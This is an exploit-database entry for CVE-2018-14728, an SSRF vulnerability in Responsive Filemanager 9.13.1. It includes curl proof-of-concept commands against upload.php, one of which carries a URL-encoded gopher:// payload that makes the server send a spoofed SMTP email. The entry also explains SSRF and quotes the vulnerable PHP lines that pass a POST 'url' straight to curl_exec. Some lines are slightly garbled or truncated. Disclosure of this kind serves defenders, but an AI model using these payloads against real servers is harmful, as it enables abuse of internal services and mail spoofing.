Responsive Filemanager 9.13.1 Server-Side Request Forgery Vulnerability

ID 1337DAY-ID-30801
Type zdt
Reporter GUIA Brahim Fouad
Modified 2018-07-30T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: Responsive filemanager - SSRF
# Exploit Author: GUIA BRAHIM FOUAD
# Vendor Homepage:
# Software Link:
# Version: 9.13.1
# Tested on: responsive filemanager version: 9.13.1, php version: 7.0
# CVE : CVE-2018-14728

[Security] Bug report - SSRF - Security Issue

curl 'http://localhost/filemanager/upload.php' --data
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url='

Description of the problem
Server Side Request Forgery (SSRF) refers to an attack where in an attacker
is able to send a crafted request from a vulnerable web application. SSRF
is usually used to target internal systems behind firewalls that are
normally inaccessible to an attacker from the external network.
Additionally, itas also possible for an attacker to leverage SSRF to access
services from the same server that is listening on the loopback interface

Typically Server Side Request Forgery (SSRF) occurs when a web application
is making a request, where an attacker has full or partial control of the
request that is being sent. A common example is when an attacker can
control all or part of the URL to which the web application makes a request
to some third-party service

List the steps to reproduce the issue
The GET parameter 'url' is received in line 71 of the file upload.php.

File : upload.php

Line| Code
71 | if(isset($_POST['url'])){
73 | $ch = curl_init($_POST['url']);
77 | curl_exec($ch);

responsive filemanager version: 9.13.1
php version: 7.0

# [2018-07-30]  #